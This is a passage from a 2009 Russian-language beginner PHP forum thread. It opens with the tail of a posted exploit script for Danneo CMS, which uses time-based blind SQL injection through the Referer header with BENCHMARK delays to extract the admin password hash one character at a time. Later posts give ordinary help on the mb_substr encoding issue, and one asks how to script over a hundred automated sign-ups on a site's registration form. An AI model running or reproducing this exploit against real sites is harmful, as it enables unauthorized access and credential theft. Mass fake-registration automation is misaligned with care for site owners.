"\r[|]\r"; } if($n==3){ print "\r[/]\r"; } } function getmicrotime() {return array_sum(explode(" ", microtime()));} ?> Выручауте пож-та ооочень прошу[:(] "> - target server where Danneo CMS is installed\n\n"; echo "OPTIONS:\n"; echo "-p=<prefix> - use specific prefix\n"; echo "-id=<id> - use specific user id (default 1)\n"; echo "-c=<count> - benchmark()'s loop count (default 300000)\n"; echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of <count> if server is slow\n\n"; echo "php {$argv[0]} http://site.com/ -p=cms_\n"; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",25); $url = $argv[1]; for($i=2;$i<$argc;$i++) { if(strpos($argv[$i],"=")!=false) { $exploded=explode("=",$argv[$i]); if ($exploded[0]=='-p') $prefix = $exploded[1]; if ($exploded[0]=='-id') $id = $exploded[1]; if ($exploded[0]=='-c') $benchmark = $exploded[1]; } elseif($argv[$i] == '-v') $verbose=true; } if (!isset($id)) $id = 1; if (!isset($benchmark)) $benchmark = 300000; if (!isset($verbose)) $verbose=false; $url_parts = parse_url($url); $host = $url_parts['host']; $port = (isset($url_parts['port']) ? $url_parts['port'] : 80); $path = $url_parts['path']; $query_pattern = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*"; $verbose_pattern = "%-12s %2d: %s"; print "[~] Testing probe delays…\n"; $ok=true; $nodelay=0; $withdelay=0; for ($i=1;$i<=3;$i++){ $query = sprintf($query_pattern, "1=1", 1); $fdelay = dorequest($query,false,true); if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;} $query = sprintf($query_pattern, "1=1", $benchmark); $sdelay = dorequest($query,false,true); if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;} if ($sdelay<=($fdelay*2)) {$ok=false;break;} usleep($benchmark/1000); $delay=false; } if ($ok) { $nondelayed = $nodelay/3; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n"; $delayed = $withdelay/3; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n"; } else die("[-] Exploit failed\n"); if (isset($GLOBALS['version'])) { echo "[+] Version {$GLOBALS['version']} has been detected\n"; $v = str_replace(".","",$GLOBALS['version']); } if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";} elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";} else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";} print " Getting hash…"; if ($verbose) {print "\r[~]"; print "\n";} $hash=''; for($i=1; $i<=32; $i++) { $chr = gethashchar($i); if($chr!==false) $hash .= $chr; else { $chr = gethashchar($i); if ($chr !==false)$hash .= $chr; else die("\n[-] Exploit failed\n"); } } if (!$verbose) {print "\r[~]"; print "\n";} print "[+] Result: {$hash}\n"; function gethashchar ($pos) { global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj.">57", $benchmark*4); $success = condition($query); if (!$success) { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n"); $min = 48; $max = 57; } else { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n"); $min = 97; $max = 102; } for($i=$min;$i<=$max;$i++) { $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n"); return $chr; } } } return false; } function condition($query) { global $delayed,$benchmark,$verbose,$verbose_pattern; for($attempt = 1; $attempt <= 10; $attempt++){ $delay = dorequest($query,true); if ($delay === false) { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n"); } else { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n"); break; } } if ($attempt == 10) die("[-] Exploit failed\n"); if($delay > ($delayed * 2)) { usleep(($benchmark*4)/1000); return true; } return false; } function dorequest($query,$gethash=false,$getversion=false) { global $host,$port,$path,$verbose; if ($gethash&&!$verbose) status(); $start = getmicrotime(); $s = fsockopen(gethostbyname($host),$port); if (!$s) return false; else { $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "User-Agent: InAttack User Agent\r\n"; $packet .= "Referer: {$query}\r\n"; $packet .= "Connection: Close\r\n\r\n"; fputs($s, $packet); $html=''; while (!feof($s)) $html.=fgets($s); if ($getversion && !isset($GLOBALS['version'])) { $out=array(); if (preg_match("@<META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^>]+)\">@i",$html,$out)) $GLOBALS['version']=$out[1]; } $end = getmicrotime(); } return intval(($end-$start)*10); } function status() { static $n; $n++; if ($n > 3) $n = 0; if($n==0){ print "\r[-]\r"; } if($n==1){ print "\r[\\]\r";} if($n==2){ print "\r[|]\r"; } if($n==3){ print "\r[/]\r"; } } function getmicrotime() {return array_sum(explode(" ", microtime()));} ?> Выручауте пож-та ооочень прошу[:(]
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-26 16:51:13.700000
|
|
|
AloneMonaX
Сообщений: 106
Оценки: 0
Присоединился: 2009-02-04 14:57:00.896666
|
Как программно зайти на depositfiles, uploading.com и fileshare? Всмысле авторизизроваться у меня есть акки на них=) И если кто знает как программно залить на них файлы=)
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-27 00:26:31.400000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
тебе надо через сокеты посылать пакеты или куки так ты авторизируешся..
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-02 11:27:41.900000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
почемуто при использовании функции substr для обрезания строк в конце каждой строки вылазиет фигня кааято quote:
Все открыт�… при чём если в последний обрезаемый символ пробел всё нормально.. а если любой символ кирилицы то бок. все данные на сайте (как в базе так и на странице) в коректной кодировке. такая фигня наблюдается кстати не только на моём сайте.. у меня на нескольки движках комерческих везде где идёт обрезка символов вылазиет такая лажа.. я думаю может это проблемма интерпритатора? в чём проблемма подскажите… и как исправить если можно
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-02 12:38:11.433333
|
|
|
kolPeeX
Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
|
magist_bender, http://php.su/functions/?cat=mbstring — А проблема в том, что это UTF-строка. В ней нелатинские символы обозначаются последовательностью байт, т.е. русской букве А соответствуют несколько байт. Функции str* этого не учитывают (фактически, они работают со строкой как с бинарными данными). Например, substr может обрезать "кусочек" буквы А и получится фигня какая-то.
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-03 11:30:21.273333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
понятно… спасибо.. а как решать данную проблемму я так и непонял…
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-03 13:08:44.246666
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
Вместо substr использовать http://www.php.su/functions/?mb-substr
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:19:57.796666
|
|
|
Lordout
Сообщений: 32
Оценки: 0
Присоединился: 2009-02-10 15:25:51.633333
|
Люди есть сайт там есть форма регестрации, без капчи. Мне нужно сделать чтоб скрипт автоматом заполнял все поля, рандом еще лучше, и наимал кнопку регестрация. И так раза 100 или болше. Можно ли такое сделать?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:21:42.050000
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
Можно.
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:24:49.540000
|
|
|
Lordout
Сообщений: 32
Оценки: 0
Присоединился: 2009-02-10 15:25:51.633333
|
А как?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:38:49.330000
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
Написать скрипт, который будет это делать) А тебе зачем это?
|
|
|
|
|